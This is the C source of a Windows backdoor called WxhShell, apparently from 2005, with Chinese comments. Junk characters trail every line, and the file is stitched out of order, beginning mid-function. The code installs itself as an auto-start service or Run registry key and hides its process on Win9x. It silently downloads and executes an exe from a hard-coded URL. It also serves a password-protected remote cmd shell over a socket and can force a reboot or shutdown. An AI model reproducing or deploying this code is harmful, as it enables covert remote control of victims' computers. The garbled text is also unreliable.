  // 关机 [,aqQ6S  
  case 'd': { JNFIT;L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BvU"4d;x  
    if(Boot(SHUTDOWN)) j2P n<0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'4J[S\cM  
    else { =5s F"L;b  
    closesocket(wsh); %G@5!|J  
    ExitThread(0); YUdxG/~'  
    } NA.1QQ ;e  
    break; 6UE(f@  
    } CZEW-PIhj  
  // 获取shell ItX5JV)  
  case 's': { (#oycj^<  
    CmdShell(wsh); ;_:Ool,  
    closesocket(wsh); a0*2) uL}  
    ExitThread(0); 8:.nEo'  
    break; e2C<PGUUB  
  } Ft@Wyo`^  
  // 退出 #2tCV't  
  case 'x': { ZE `lr+_Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ==cd>03()  
    CloseIt(wsh); %o}(sShS  
    break; {NCF6M k  
    } <g9"Cr`  
  // 离开 8)VgS &B~  
  case 'q': { c[ht`!P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3g~^LZ66  
    closesocket(wsh); $iM=4 3W  
    WSACleanup(); K"2|[5  
    exit(1); Uw<&Wm`'  
    break; XW L^  
        } SLhEc  
  } !D o,>gO  
  } B/"2.,  
_iE j  
  // 提示信息 lr2 rQo >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c {I"R8  
} +3,|"g::  
  } #~ Q8M*~@  
WjMS5^ _  
  return; OSzjK7:  
} ,eQ[Fi!!  
:ZxLJK9x1  
// shell模块句柄 'xFYUU]#T^  
int CmdShell(SOCKET sock) -s$<Op{s  
{ :Au /2  
STARTUPINFO si; )h^NR3N  
ZeroMemory(&si,sizeof(si)); !CjqL~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Z/k;=Sla  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZB5?!.ND  
PROCESS_INFORMATION ProcessInfo; =ex'22  
char cmdline[]="cmd"; 5A&y]5-Q`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V8O.3fo`[`  
  return 0; Vj; vo`T  
} a-n4:QT  
Napf"Av  
// 自身启动模式 0p fnV%  
int StartFromService(void) YYRT.U'  
{ $gp!w8h  
typedef struct "D* Wi7  
{ &B!%fd.'  
  DWORD ExitStatus; Q1>zg,r  
  DWORD PebBaseAddress; %d: A`7x  
  DWORD AffinityMask; eSl-9 ^  
  DWORD BasePriority; zzvlI66e  
  ULONG UniqueProcessId; jiIST^Zq#t  
  ULONG InheritedFromUniqueProcessId; . 9 LL+d  
}   PROCESS_BASIC_INFORMATION; ke/_k/  
W'_/6_c$!  
PROCNTQSIP NtQueryInformationProcess; GoE#Mxhxo  
Su8'$CFz$.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f|xLKcOP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =hw^P%Zn  
/hdf{4  
  HANDLE             hProcess; 4FA|[An  
  PROCESS_BASIC_INFORMATION pbi; [V@yRWI  
"7?js $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1a9w(X  
  if(NULL == hInst ) return 0; MB:n~>ga  
M@?"t_e1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q:S\0cI0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )-&nxOP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >,h1N$A+  
s?O&ZB2GM[  
  if (!NtQueryInformationProcess) return 0; =LZ>s u  
2/tb6' =  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2H&{1f\Bf  
  if(!hProcess) return 0; p27p~b&  
|*Ot/TvG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7dD.G/'  
kqB\xlS7k  
  CloseHandle(hProcess); Ku3!*n_\  
Kj*m r%IaU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4`mO+.za1  
if(hProcess==NULL) return 0; wL<j:>Ke[3  
~4s-S3YzaM  
HMODULE hMod; v`{:~ q*  
char procName[255]; ;]&-MFv#  
unsigned long cbNeeded; =|y|P80w  
r#xk`a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?^3B3qqh9  
'TEyP56  
  CloseHandle(hProcess); R}J-nJlb  
h3J*1  
if(strstr(procName,"services")) return 1; // 以服务启动 5fHYc0  
Tkrx7C s(  
  return 0; // 注册表启动 !C7<sZ`C  
} -,>:DUN2  
",Wf uz  
// 主模块 Pi%tsKk%  
int StartWxhshell(LPSTR lpCmdLine) {v+a!#{c7  
{ i=Kvz4h  
  SOCKET wsl; u[t>Tg2R  
BOOL val=TRUE; y<r44a_!  
  int port=0; o5#,\Y[ g  
  struct sockaddr_in door; 9kd.j@C  
< EXWWrm  
  if(wscfg.ws_autoins) Install(); ",ad7Y7i  
yQS04Bl]  
port=atoi(lpCmdLine); =mJ F_Ri  
Kcn\g.  
if(port<=0) port=wscfg.ws_port;  EW5]!%  
x_ySf!ih  
  WSADATA data; k E_ky)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J%4HNW*p  
70<K .T<b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /s-d?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); luF#OPC  
  door.sin_family = AF_INET; OQ| ,-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G4yUC<TqBP  
  door.sin_port = htons(port); 5 TET<f6R  
&V;x 4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sUda   
closesocket(wsl); xL&PJ /'  
return 1; 6 ZHv,e`?  
} pU[K%@sC  
")\ *2d  
  if(listen(wsl,2) == INVALID_SOCKET) { !'PlDGD  
closesocket(wsl); QAXYrRu  
return 1; 7+S44)w}~  
} Lnx2xoNk  
  Wxhshell(wsl); 2^bgC~2C1  
  WSACleanup(); _&mc8ftT  
! ZA}b[  
return 0; t!savp  
3dU#Ueu  
} N('3oy#8  
0sabh`iQ^  
// 以NT服务方式启动 c V(H<"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]84YvpfW  
{ ;Yu>82o.:  
DWORD   status = 0; -~0'a  
  DWORD   specificError = 0xfffffff; GsRt5?X/*  
a?\ `  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \"bLE0~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }JJ::*W2n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dzm qR0)  
  serviceStatus.dwWin32ExitCode     = 0; %rFllb7  
  serviceStatus.dwServiceSpecificExitCode = 0; ?7 X3 P  
  serviceStatus.dwCheckPoint       = 0; u dUXc6U  
  serviceStatus.dwWaitHint       = 0; T@>6 3  
U*xxrt/On/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,"C&v~  
  if (hServiceStatusHandle==0) return; ^B6`e^ <  
|>[X<>m  
status = GetLastError(); SJF2k[da  
  if (status!=NO_ERROR) ~:s!].H  
{ ~s0P FS7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v5gQ9  
    serviceStatus.dwCheckPoint       = 0; %SFw~%@3&~  
    serviceStatus.dwWaitHint       = 0; y (ldO;.  
    serviceStatus.dwWin32ExitCode     = status; e7wKjt2fy  
    serviceStatus.dwServiceSpecificExitCode = specificError; tpd|y|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '&{(:,!B  
    return;  z8tt+AU  
  } !?Tzk&'  
aEZJNWv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p?KCVvx$  
  serviceStatus.dwCheckPoint       = 0; @+Pf[J41  
  serviceStatus.dwWaitHint       = 0; t>-XT|lV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5\5~L  
} o+R. u}|  
 1dXh\r_n  
// 处理NT服务事件,比如:启动、停止 {vCU^BN,k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V?o&])?[  
{ `oan,wq+  
switch(fdwControl) SaTEZ.  
{ 7~ILRj5Nq  
case SERVICE_CONTROL_STOP: \J\vp0[nO}  
  serviceStatus.dwWin32ExitCode = 0; g<;Nio  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _4g}kL02.  
  serviceStatus.dwCheckPoint   = 0; hkL w&;WJr  
  serviceStatus.dwWaitHint     = 0; Ubpg92  
  { ~'|&{-<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UfO'.8*v  
  } &8.z$}m  
  return; l!Nvn$h m  
case SERVICE_CONTROL_PAUSE: Psg +\14  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N/`g?B[  
  break; o(BYT9|.kw  
case SERVICE_CONTROL_CONTINUE: 1. xw'i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~91uk3ST?  
  break; ;9 R40qi  
case SERVICE_CONTROL_INTERROGATE: 8HB?=a2Q<'  
  break; >E{#HPpBi  
}; N n:m+ZDo^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FUH *]U  
} Pm'.,?"  
sCuQBZ h  
// 标准应用程序主函数 ]q@rGD85K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7?)m(CFy  
{ H74NU_   
if\k[O 1T6  
// 获取操作系统版本 &Qz"nCvJ  
OsIsNt=GetOsVer(); 48W:4B'l9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /o~ @VF:  
Di]Iy  
  // 从命令行安装 I]s:Ev[~  
  if(strpbrk(lpCmdLine,"iI")) Install(); t,UW&iLK  
cC*zj \O  
  // 下载执行文件 O7E;W| ]  
if(wscfg.ws_downexe) { (%=lq#,   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b'i%B9yU:%  
  WinExec(wscfg.ws_filenam,SW_HIDE); <%T%NjNPQ  
} )yfOrsM  
9LUP{(uq  
if(!OsIsNt) { L+`}euu5  
// 如果时win9x,隐藏进程并且设置为注册表启动 >7eu'  
HideProc(); 0^_)OsFA  
StartWxhshell(lpCmdLine); ">v_uq a  
} C _ k_D  
else #nt<j2}m  
  if(StartFromService()) <L[  *hp  
  // 以服务方式启动 Zz wZ, (  
  StartServiceCtrlDispatcher(DispatchTable); 9~*_(yjF  
else % DHP  
  // 普通方式启动 $Ykp8u,(  
  StartWxhshell(lpCmdLine); 4p0IBfVG  
D<$j`r  
return 0; LK oM\g(  
} K'ed5J  
\:18Uoe7  
"y3dwSS  
P<g|y4h  
=========================================== _~(M A-l  
\3 O-} n1S  
y^vfgP<@  
S<)RVm,!e  
$]`'Mi  
6-Vl#Lyb  
" Ra*k  
@/Wty@PU  
#include <stdio.h> _dB0rsCnU%  
#include <string.h> 3L\s8O  
#include <windows.h> O=9VX  
#include <winsock2.h> p>w~T#17  
#include <winsvc.h> WL*W=(  
#include <urlmon.h> $e^ :d  
M2;(+8 b  
#pragma comment (lib, "Ws2_32.lib") J,&`iL-  
#pragma comment (lib, "urlmon.lib") ) J:'5hz  
Uzm[e%/`  
#define MAX_USER   100 // 最大客户端连接数 )x5$io   
#define BUF_SOCK   200 // sock buffer "m\UqQGX  
#define KEY_BUFF   255 // 输入 buffer lMI ix0sSj  
d(dw]6I6  
#define REBOOT     0   // 重启 g~WNL^GGS  
#define SHUTDOWN   1   // 关机 b{ubp  
S|Ij q3  
#define DEF_PORT   5000 // 监听端口 NUO,"Bqq  
FcbA)7dD  
#define REG_LEN     16   // 注册表键长度 2e D\_IW  
#define SVC_LEN     80   // NT服务名长度 S{r)/ ~/  
9-e[S3ziM  
// 从dll定义API (J?}eb;>n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OD2ai]!v+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :pV("tHE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PK|`}z9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PxCl]~v  
M,v@G$pW  
// wxhshell配置信息 VNh,pQ(  
struct WSCFG { [F9KC^%S  
  int ws_port;         // 监听端口 D;T r  
  char ws_passstr[REG_LEN]; // 口令 FZ'>LZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no PY3Vu]zD  
  char ws_regname[REG_LEN]; // 注册表键名 \c@qtIc  
  char ws_svcname[REG_LEN]; // 服务名 cq+M *1;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |SXMu_w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sou$qKoG01  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \?`d=n=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1rzq$,O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;@ !d!&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Vj byRwV  
)Q pP1[  
}; :Y)kKq d  
=Q8^@i4[&D  
// default Wxhshell configuration 5/eS1NJ@  
struct WSCFG wscfg={DEF_PORT, ?p/kuv{\o#  
    "xuhuanlingzhe", }'M1(W  
    1, Vp0GmZ  
    "Wxhshell", S.)8&  
    "Wxhshell", -QNMB4  
            "WxhShell Service", :e9jK[)h0  
    "Wrsky Windows CmdShell Service", 4Hd@U&E  
    "Please Input Your Password: ", T`2fPxM:cZ  
  1, PXQ9P<m  
  "http://www.wrsky.com/wxhshell.exe", uB)6\fkTB  
  "Wxhshell.exe" .f!eRV.&  
    }; y<LwrrJ>  
bz,cfc;?$  
// 消息定义模块 !`S%l1[Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #5"<.z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )PZ}^Fa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  f"=4,  
char *msg_ws_ext="\n\rExit."; +cOI`4`$  
char *msg_ws_end="\n\rQuit."; eVK<%r=  
char *msg_ws_boot="\n\rReboot..."; Q24:G  
char *msg_ws_poff="\n\rShutdown...";  ( Vv[  
char *msg_ws_down="\n\rSave to "; }4ghT(C}$  
y:``|*+  
char *msg_ws_err="\n\rErr!"; g!|E!\p  
char *msg_ws_ok="\n\rOK!"; !JQ~r@j  
{<{G 1y~  
char ExeFile[MAX_PATH]; J'4@-IM  
int nUser = 0; 4R^j"x 5  
HANDLE handles[MAX_USER]; R*5;J`TW  
int OsIsNt; m ?tnk?oX  
hFPRC0ftE  
SERVICE_STATUS       serviceStatus; h.+&=s!Nsy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )p_LkX(  
^~IcQ!j/5  
// 函数声明 c(=O`%B{  
int Install(void); >wm$,%zk  
int Uninstall(void); u~T$F/]k>  
int DownloadFile(char *sURL, SOCKET wsh); H;!hp0y  
int Boot(int flag); =}o>_+"  
void HideProc(void); \ A UtGP  
int GetOsVer(void); c\rbLr}l)  
int Wxhshell(SOCKET wsl); 3jdB8a]T_  
void TalkWithClient(void *cs); <cOE6;d#  
int CmdShell(SOCKET sock); uV:uXQni``  
int StartFromService(void); Pds*M?&F  
int StartWxhshell(LPSTR lpCmdLine); 4qXUk:C@m  
8ch~UBq/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9: |K]y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $YQ&\[pDA  
O]LuL&=s y  
// 数据结构和表定义 ZV^J5wYE  
SERVICE_TABLE_ENTRY DispatchTable[] = Fmle|  
{ 78BuD[<X-  
{wscfg.ws_svcname, NTServiceMain}, vl(v1[pU  
{NULL, NULL} >2{HH\  
}; iiDkk  
E4@fP] R+  
// 自我安装 `hf9rjy4  
int Install(void) v#2qwd3x  
{ q9(}wvtr  
  char svExeFile[MAX_PATH]; ;= @-j@?  
  HKEY key; d<m>H$\Dm  
  strcpy(svExeFile,ExeFile); tU2;Wb!Y  
F"TI 9ib  
// 如果是win9x系统,修改注册表设为自启动 C`<} nx1  
if(!OsIsNt) { ~\IDg/9 Cj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aC]l({-0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ")gCA:1-  
  RegCloseKey(key); 3E@&wpj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Qr!?=nf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &rWJg6/  
  RegCloseKey(key); &Gwh<%=U  
  return 0; l"!;Vkg.5  
    } <RsKV$Je I  
  } 0A 4|  
} E1v<-UPbA  
else { g]Ny?61  
hQx e0Pdt  
// 如果是NT以上系统,安装为系统服务 zate%y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zO]dQ$r\Z  
if (schSCManager!=0) Q&a<9e&  
{ d~$t{46  
  SC_HANDLE schService = CreateService SLB iQd.  
  ( OHvzK8  
  schSCManager, ?0&>?-?  
  wscfg.ws_svcname, rzj'!~>U  
  wscfg.ws_svcdisp, kYa' ] m  
  SERVICE_ALL_ACCESS, HliY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = gyK*F(RK  
  SERVICE_AUTO_START, 5h7DVr!  
  SERVICE_ERROR_NORMAL, 7+-}8&s yu  
  svExeFile, Rp9iX~A`e  
  NULL, 2 g==98>cg  
  NULL, Dv{AZyqe  
  NULL, P#1y  
  NULL, 'Em($A (  
  NULL UzwIV{  
  ); O]!DNN  
  if (schService!=0) DcDGrRuh  
  { Gukq}ZQd  
  CloseServiceHandle(schService); %LW~oI.  
  CloseServiceHandle(schSCManager); ? D'-{/<4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V-u\TiL  
  strcat(svExeFile,wscfg.ws_svcname); 4f-C]N=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @"2-tn@q_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _erH]E| [  
  RegCloseKey(key); LEa:{s<:  
  return 0; NtL?cWct  
    } ^i 7a2< z  
  } `Yve  
  CloseServiceHandle(schSCManager); 4D$E  
} Q+N @j]'  
} <(%uOo$  
:9qB{rLi}  
return 1; v1rGq  
} kS!*kk*a  
% m$Mn x  
// 自我卸载 PrxXL/6  
int Uninstall(void) 5%/%i}e~(  
{ 2 ARh-zLb  
  HKEY key; GMI >$$<  
a$A S?`L  
if(!OsIsNt) { t|_g O!w8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q[g^[~WM#  
  RegDeleteValue(key,wscfg.ws_regname); Iqv 5lo .  
  RegCloseKey(key); D=]P9XDvb.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |.yRo_  
  RegDeleteValue(key,wscfg.ws_regname); 2US8<sq+  
  RegCloseKey(key); K~G^jAk+  
  return 0; A":x<9   
  } s5@^g8(+C  
} W;W\L? r  
} !;oBvE7Kh  
else { 7c7SU^hD  
GM~jR-FZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ::w%rv  
if (schSCManager!=0) kY&j~R[C  
{ !).d c.P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5j %jhby?  
  if (schService!=0) E2cmT$6  
  { LdV_7)  
  if(DeleteService(schService)!=0) { <jjaqDSmz  
  CloseServiceHandle(schService); K;O\Pd  
  CloseServiceHandle(schSCManager); ps [rYy  
  return 0; qr1^i1%\  
  } BZsxf'eN'  
  CloseServiceHandle(schService); e9nuQ\=  
  } $ :/1U$  
  CloseServiceHandle(schSCManager); S7]cF5N  
} 0jMrL\>C  
} Ft7l/  
DoA f,9|_  
return 1; IFe[3mB5  
} -#h \8Xl  
eS M!_2  
// 从指定url下载文件 u5,<.#EVY  
int DownloadFile(char *sURL, SOCKET wsh) JM0)x}] +  
{ _Yv9u'q"  
  HRESULT hr; J<D =\  
char seps[]= "/"; p+Xz9A"  
char *token; pK%'S  
char *file; ! >V 1zk  
char myURL[MAX_PATH]; NaIVKo  
char myFILE[MAX_PATH]; na>B{6  
YjT #^AH  
strcpy(myURL,sURL); |RdSrVB  
  token=strtok(myURL,seps); 2*N# %ZUX  
  while(token!=NULL) O1PdM52  
  { "wc $'7M  
    file=token; ~j_H2+!  
  token=strtok(NULL,seps); z;)% i f6  
  } pw8'+FX  
l\)Q3.w  
GetCurrentDirectory(MAX_PATH,myFILE); LBzpaLd  
strcat(myFILE, "\\"); X^`ld&^*({  
strcat(myFILE, file); K7U<~f$OiN  
  send(wsh,myFILE,strlen(myFILE),0); u Wtp2]A  
send(wsh,"...",3,0); l }[ 4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v~SN2,h  
  if(hr==S_OK) . x$` i  
return 0; l"64w>,  
else HukHZ;5  
return 1; 0Pe.G0 #  
$J+$ 8pA  
} mDhU wZH  
; 1WclQ!(  
// 系统电源模块 gNJ\*]SY  
int Boot(int flag) $k dfY'u  
{ FM5$83Q  
  HANDLE hToken; - >2ej4C  
  TOKEN_PRIVILEGES tkp; se-}d.PwL  
6%>0g^`)9Y  
  if(OsIsNt) { q\\J9`Q$J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mmi~A<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K)n(U9#  
    tkp.PrivilegeCount = 1; =e63>*M|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; & b%6pVj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,b/0_Q  
if(flag==REBOOT) { >2ct1_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:6mptn>  
  return 0; QP'* )gjO7  
} (NP=5lLH  
else { GIp?}tM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7RO=X%0A  
  return 0; ({)_[dJ'  
} *GA#.$n  
  } `7NgQ*g.d/  
  else { ;YB8X&H$  
if(flag==REBOOT) { @Q'5/q+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jv5G:M5+~  
  return 0; E3'6lv'  
} aw~OvnX E  
else { Z@>>ZS1Do  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U6{ RHS[  
  return 0; IBR;q[Dj}  
} kb>9;-%^JK  
} *op7:o_  
v / a/  
return 1; PUI.Un2C_  
} GYj`-t  
E-RbFTVBA  
// win9x进程隐藏模块 U+W8)7bc  
void HideProc(void) /c09-$M  
{ lB,MVsn18  
(7"qT^s3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i"r=b%;;  
  if ( hKernel != NULL ) 7+ c?eH  
  { `ul"D%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E;N+B34  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lbd_L  
    FreeLibrary(hKernel); G"'DoP7p9  
  } PRs[:we~~  
A!NT 2YdHZ  
return; C~ >'pS6%5  
} -Z:al\e<g  
E-r/$&D5mP  
// 获取操作系统版本 &c A?|(7-  
int GetOsVer(void) u*"tZ+|m  
{ yfV{2[8ux  
  OSVERSIONINFO winfo; s4w<X}O_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q_ $AGF  
  GetVersionEx(&winfo); hcej?W8j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i;)88  
  return 1; JjM^\LwKkL  
  else ! $n^Ze2 !  
  return 0; h~dM*yo;  
} p_qH7W  
GSl\n"S]=  
// 客户端句柄模块 U5Rzfm4  
int Wxhshell(SOCKET wsl) ^  K/B[8  
{ `W"-jz5#=  
  SOCKET wsh; $ \jly  
  struct sockaddr_in client; &98qAO]Z  
  DWORD myID; 8z@A/$T  
,2u]rLxx;  
  while(nUser<MAX_USER) y:1?~R  
{ ow+NT  
  int nSize=sizeof(client); Yd]f}5F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v%_sCg  
  if(wsh==INVALID_SOCKET) return 1; sH6srwI  
2t_E\W7w+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5"{wnnY%K}  
if(handles[nUser]==0) g-6!+>w*>e  
  closesocket(wsh); 2-2'c?%  
else ? [ =P  
  nUser++; sW[42A  
  } i3YAK$w;&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b%AYYk)d?  
1V)0+_Yv  
  return 0; 5o&L|7]  
} NAL%qQ  
5-n N8qs  
// 关闭 socket @w@rW }i0  
void CloseIt(SOCKET wsh) x`a@h\ n  
{ <OpiD%Ctx  
closesocket(wsh); u K 8 r  
nUser--; w:pc5N>we0  
ExitThread(0); NJn~XCq  
} gJ2R(YMF  
RL($h4d9  
// 客户端请求句柄 9n$$D;  
void TalkWithClient(void *cs) I4u'b?* je  
{ eQzTb91  
s9@IOE GAt  
  SOCKET wsh=(SOCKET)cs; )00#Rrt9  
  char pwd[SVC_LEN]; K{HdqmxL.I  
  char cmd[KEY_BUFF]; 6Ba>l$/q  
char chr[1]; @Yy=HV  
int i,j; [4 "%NY  
^ .>)*P  
  while (nUser < MAX_USER) { 2_UH,n  
?jy^WF`  
if(wscfg.ws_passstr) { gm4-w 9M[p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :s*&_y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'v4AM@%u  
  //ZeroMemory(pwd,KEY_BUFF); 60-LpGhvy  
      i=0; * _U z**M  
  while(i<SVC_LEN) { QD7>S(p  
uI.4zbgl[  
  // 设置超时 'M YqCfIK  
  fd_set FdRead; _Tev503  
  struct timeval TimeOut; }K0.*+M  
  FD_ZERO(&FdRead); "x&H*"  
  FD_SET(wsh,&FdRead); ](^VEm}w;  
  TimeOut.tv_sec=8; MwXgaSV  
  TimeOut.tv_usec=0; yv,90+k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M,|o2'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q18dSu  
L[ rJ7:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lkBab$S)  
  pwd=chr[0]; :y 0'[LV  
  if(chr[0]==0xd || chr[0]==0xa) { iQ~cG[6  
  pwd=0; DtyT8kr  
  break; hnL(~  
  } % kKtPrT  
  i++; jUdW o}/  
    } HH8a"Hq)  
_/7[=e}y  
  // 如果是非法用户,关闭 socket tlG&PVvr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;v#~ o*  
}  k:R9wo  
LKztGfy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q-Bci Bh$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W>'R<IY4#N  
P6;L\9=H<  
while(1) { luAhyEp  
{P(IA2J'S  
  ZeroMemory(cmd,KEY_BUFF); 1,BtOzuRo  
QZ%_hvY[%>  
      // 自动支持客户端 telnet标准   yP~D."  
  j=0; #2|sS|0<  
  while(j<KEY_BUFF) { w ~Es,@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "0n to+v  
  cmd[j]=chr[0]; a!4'}gHR  
  if(chr[0]==0xa || chr[0]==0xd) { P !6r`d  
  cmd[j]=0; h?fv:^vSi  
  break; i5V ly'Q  
  } H|==i2V{  
  j++; ]'M Ly#9  
    } ^P(HX  
{H"xC~.  
  // 下载文件 mbSJ}3c"  
  if(strstr(cmd,"http://")) { G,$RsP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %;9wToyK>  
  if(DownloadFile(cmd,wsh)) TC" mP!1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5"~V^L3  
  else bQEQHqY5  
